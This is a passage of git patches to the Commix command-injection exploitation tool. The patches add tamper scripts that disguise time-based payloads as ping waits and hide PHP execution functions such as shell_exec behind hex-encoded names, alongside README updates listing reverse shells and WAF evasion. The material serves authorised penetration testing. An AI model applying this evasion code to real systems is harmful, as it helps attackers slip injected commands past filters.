--git a/src/utils/settings.py b/src/utils/settings.py index 093b781923..ff93ad39f2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "136" +REVISION = "137" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1480,6 +1480,7 @@ class AUTH_TYPE(object): "space2brace": False, "ansiquote": False, "cmd2wildcard": False, + "cmd2var": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -1562,7 +1563,10 @@ class PRIORITY(object): ("randomcase", "singlequotes"), # All three replace the user's command outright, so only one of them can have it. ("cmd2wildcard", "rev"), - ("cmd2wildcard", "randomcase") + ("cmd2wildcard", "randomcase"), + ("cmd2var", "rev"), + ("cmd2var", "randomcase"), + ("cmd2var", "cmd2wildcard") ] # Words that must survive per-character obfuscation - shell keywords stop being keywords once From f9ad958a8d9c4bc9d97d992ae5f4213af27b7097 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 05:54:18 +0300 Subject: [PATCH 0797/1023] Added new tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload --- doc/CHANGELOG.md | 1 + src/tamper/sleep2ping.py | 99 ++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 3 +- 3 files changed, 102 insertions(+), 1 deletion(-) create mode 100644 src/tamper/sleep2ping.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d0004c0db9..8d81e7c132 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload. * Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. * Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. * Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. diff --git a/src/tamper/sleep2ping.py b/src/tamper/sleep2ping.py new file mode 100644 index 0000000000..5b465846e0 --- /dev/null +++ b/src/tamper/sleep2ping.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces "sleep" with the wait between "ping" packets in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://man7.org/linux/man-pages/man8/ping.8.html +""" + +__tamper__ = "sleep2ping" +__priority__ = settings.PRIORITY.NORMAL + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# The loopback, so that the wait needs no network of the target's own and asks no name of anyone. +PING_HOST = "127.0.0.1" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _arithmetic_end(text): + """The offset just past the '))' closing an arithmetic expansion, counted rather than searched for.""" + depth, index = 0, 1 + while index < len(text): + if text[index] == "(": + depth += 1 + elif text[index] == ")": + depth -= 1 + if depth == 0: + return index + 1 + index += 1 + return -1 + +def _ping_wait(count, whitespace): + """ + The wait itself, spelled as packets rather than seconds. + + 'ping' sends the first packet at once and waits a second before each one after it, so the count + that waits as long as 'sleep' does is one higher than its seconds. Its output goes nowhere, the + way the command it stands in for has none to give. + """ + return ("ping" + whitespace + "-c" + whitespace + count + whitespace + + PING_HOST + settings.FILE_WRITE_OPERATOR.strip() + "/dev/null") + +def _sleep_to_ping(payload): + """Every 'sleep' in the payload restated as the wait between ping packets.""" + whitespace = checks.current_whitespace() + token = "sleep" + whitespace + out, index = [], 0 + while True: + at = payload.find(token, index) + if at == -1: + out.append(payload[index:]) + return "".join(out) + out.append(payload[index:at]) + rest = payload[at + len(token):] + consumed = 0 + if rest.startswith("$(("): + end = _arithmetic_end(rest) + # A count is never allowed to reach zero, which asks 'ping' for no packets at all rather + # than for no wait - so the one it is short of a second is added inside the expansion. + if end != -1: + count, consumed = "$((1+" + rest[3:end - 2] + "))", end + else: + seconds = re.match(r"\d+", rest) + if seconds: + count, consumed = str(int(seconds.group(0)) + 1), seconds.end() + if not consumed: + out.append(token) + index = at + len(token) + continue + out.append(_ping_wait(count, whitespace)) + index = at + len(token) + consumed + +# Wait out the packets where the payload waited out the seconds. +def tamper(payload): + if settings.TARGET_OS != settings.OS.WINDOWS and settings.TIME_RELATED_ATTACK: + return _sleep_to_ping(payload) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index ff93ad39f2..be8f10928c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "137" +REVISION = "138" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1489,6 +1489,7 @@ class AUTH_TYPE(object): "nested": False, "sleep2usleep": False, "sleep2timeout": False, + "sleep2ping": False, "xforwardedfor": False, "dollaratsigns": False, "dollarstars": False, From 6109a7d11ce57616d6333183dc8fde7f4beca935 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 05:55:38 +0300 Subject: [PATCH 0798/1023] Added new tamper script `phphexname.py`, that runs the command through a PHP function named in hex --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 15 +++++++ src/tamper/phphexname.py | 77 +++++++++++++++++++++++++++++++++++ 3 files changed, 93 insertions(+) create mode 100644 src/tamper/phphexname.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8d81e7c132..55a0bbcbc7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `phphexname.py`, that runs the command through a PHP function named in hex. * Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload. * Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. * Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 4b4bb0ff21..395d298955 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2186,6 +2186,21 @@ def tamper_dep_unix_only(tamper_name): if settings.TARGET_OS == settings.OS.WINDOWS: return "The '" + tamper_name + ".py' tamper script needs a POSIX shell. Skipping tamper script." +def tamper_dep_command_incompatible(tamper_name): + """ + Why this script cannot be applied where the payload is a command rather than evaluated code. + + The mirror of 'tamper_dep_eval_incompatible': what these scripts rewrite is the syntax of the + language doing the evaluating, which a payload going straight to a shell never carries. + """ + if not menu.options.eval_sink: + return "The '" + tamper_name + ".py' tamper script needs code injection (i.e. '--eval'). Skipping tamper script." + +# Why this script cannot be applied to an evaluated language other than the one it is written for. +def tamper_dep_grammar_only(tamper_name, language): + if settings.EVAL_GRAMMAR.NAME != language: + return "The '" + tamper_name + ".py' tamper script needs '" + language + "' code injection. Skipping tamper script." + def tamper_dep_eval_incompatible(tamper_name): """ What these scripts cannot survive is the sink, not the technique that reaches it. diff --git a/src/tamper/phphexname.py b/src/tamper/phphexname.py new file mode 100644 index 0000000000..72aacc712d --- /dev/null +++ b/src/tamper/phphexname.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a PHP function named in hex ("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63"). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ +""" + +__tamper__ = "phphexname" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +""" +The call the name is handed to, rather than being written where the call is. + +A payload here reaches PHP inside a string it is interpolated into, and what that allows is a +call by name, not a call on an expression - '("sys"."tem")(...)' does not parse there, while a +name passed as an argument does. The leading backslash names the global function, so a namespace +of the target's own cannot answer in its place. +""" +CALL_BY_NAME = "\\call_user_func(" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The name as the escapes PHP reads back as that name, leaving no letter of it in the payload. +def _hex_name(name): + return "\"" + "".join("\\x%02x" % ord(char) for char in name) + "\"" + +""" +The command the backticks were running, as a string for the call to be handed. + +Single quotes, because PHP reads a variable out of a double-quoted string and these commands carry +'${...}' of their own, which would be spent on the way rather than reaching the shell. +""" +def _quoted_command(command): + return "'" + command.replace("\\", "\\\\").replace("'", "\\'") + "'" + +# What the backtick operator is underneath, so naming it runs the command the backticks ran. +BACKTICK_FUNCTION = "shell_exec" +BACKTICK_COMMAND = r"`([^`]*)`" + +# Run the command through a function named in hex, wherever the payload runs one. +def tamper(payload): + for name in settings.EXECUTION_FUNCTIONS_LVL3: + # Only where the name opens a call of its own, so a longer name carrying a shorter one is not + # rewritten from the middle - and the call's own closing bracket still closes the new one. + # A lambda, so that the backslashes the replacement is made of stay backslashes. + called = CALL_BY_NAME + _hex_name(name) + "," + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: called, payload) + # The boundary a payload most often arrives on names no function at all - it runs the command in + # backticks, which is this function wearing punctuation, and reads the same way once named. + return re.sub(BACKTICK_COMMAND, + lambda x: CALL_BY_NAME + _hex_name(BACKTICK_FUNCTION) + "," + _quoted_command(x.group(1)) + ")", + payload) + +# eof From 827b83d600c24fa12fbb810d817607d8badf12be Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 05:58:35 +0300 Subject: [PATCH 0799/1023] Trivial update --- README.md | 2 +- doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/utils/settings.py | 3 ++- 8 files changed, 9 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 81fdf59990..561be09fe7 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. -* **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. +* **Filter and WAF evasion** - Multiple combinable tamper scripts for the shell and for evaluated code, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. * **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 756fe6c979..76c332bbe2 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -39,7 +39,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. -* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. +* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables para el intérprete de comandos y para el código evaluado, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. * **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 25d5d1a684..e53805682d 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -39,7 +39,7 @@ * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. -* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. +* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب برای پوسته و برای کدی که ارزیابی می‌شود، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. * **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 64fd4e1317..57f582bf09 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -39,7 +39,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. -* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. +* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables pour le shell et pour le code évalué, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. * **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 043450ad4f..e622ea3cb5 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -39,7 +39,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. * **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. * **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. -* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. +* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper) για το κέλυφος και για τον κώδικα που αξιολογείται, με ντετερμινιστική σειρά εφαρμογής. * **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. * **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. * **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 74595b3058..b139d786d3 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -39,7 +39,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. -* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. +* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan untuk shell maupun untuk kode yang dievaluasi, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. * **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index bd2027a526..cdbb03427e 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -39,7 +39,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. -* **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. +* **Filtre ve WAF atlatma** - kabuk ve değerlendirilen kod için birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. * **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI. diff --git a/src/utils/settings.py b/src/utils/settings.py index be8f10928c..ffc8aaec28 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "138" +REVISION = "139" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1490,6 +1490,7 @@ class AUTH_TYPE(object): "sleep2usleep": False, "sleep2timeout": False, "sleep2ping": False, + "phphexname": False, "xforwardedfor": False, "dollaratsigns": False, "dollarstars": False, From 61ab1245f2e2536539fb528a2e4a765439c75914 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 16 Sep 2026 06:00:37 +0300 Subject: [PATCH 0800/1023] The file-based technique is now reported as a "blind" injection type --- README.md | 4 ++-- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 4 ++-- doc/translations/README-fa-FA.md | 4 ++-- doc/translations/README-fr-FR.md | 4 ++-- doc/translations/README-gr-GR.md | 4 ++-- doc/translations/README-idn-IDN.md | 4 ++-- doc/translations/README-tr-TR.md | 4 ++-- src/core/controller/checks.py | 6 +++--- src/core/controller/controller.py | 4 ++-- src/core/techniques/file_based/fb_handler.py | 2 +- src/core/techniques/file_based/fb_injector.py | 2 +- src/core/techniques/file_based/fb_payloads.py | 2 +- src/core/techniques/tempfile_based/tfb_handler.py | 6 +++--- src/core/techniques/tempfile_based/tfb_injector.py | 2 +- src/utils/session_handler.py | 10 +++++++++- src/utils/settings.py | 12 ++++++++---- 17 files changed, 44 insertions(+), 31 deletions(-) diff --git a/README.md b/README.md index 561be09fe7..bed752fe91 100644 --- a/README.md +++ b/README.md @@ -33,12 +33,12 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features -* **Four injection techniques** - classic (results-based), time-based (blind), file-based (semi-blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. +* **Four injection techniques** - classic (results-based), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. * **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. -* **Filter and WAF evasion** - Multiple combinable tamper scripts for the shell and for evaluated code, applied in a deterministic order. +* **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. * **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 55a0bbcbc7..bb12efccdd 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: The file-based technique is now reported as a "blind" injection type. * Added: New tamper script `phphexname.py`, that runs the command through a PHP function named in hex. * Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload. * Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 76c332bbe2..a01f64942f 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -34,12 +34,12 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cuatro técnicas de inyección** - classic (basada en resultados), time-based (a ciegas), file-based (semi a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Cuatro técnicas de inyección** - classic (basada en resultados), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. * **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. -* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables para el intérprete de comandos y para el código evaluado, aplicados en un orden determinista. +* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. * **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index e53805682d..542c09b51e 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -34,12 +34,12 @@ ## ویژگی‌ها -* **چهار تکنیک تزریق** - classic (مبتنی بر نتیجه)، time-based (کور)، file-based (نیمه‌کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **چهار تکنیک تزریق** - classic (مبتنی بر نتیجه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. * **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. -* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب برای پوسته و برای کدی که ارزیابی می‌شود، که با ترتیبی قطعی اعمال می‌شوند. +* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. * **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 57f582bf09..c8808a21bf 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -34,12 +34,12 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Quatre techniques d'injection** - classic (basée sur les résultats), time-based (à l'aveugle), file-based (semi-aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Quatre techniques d'injection** - classic (basée sur les résultats), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. * **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, 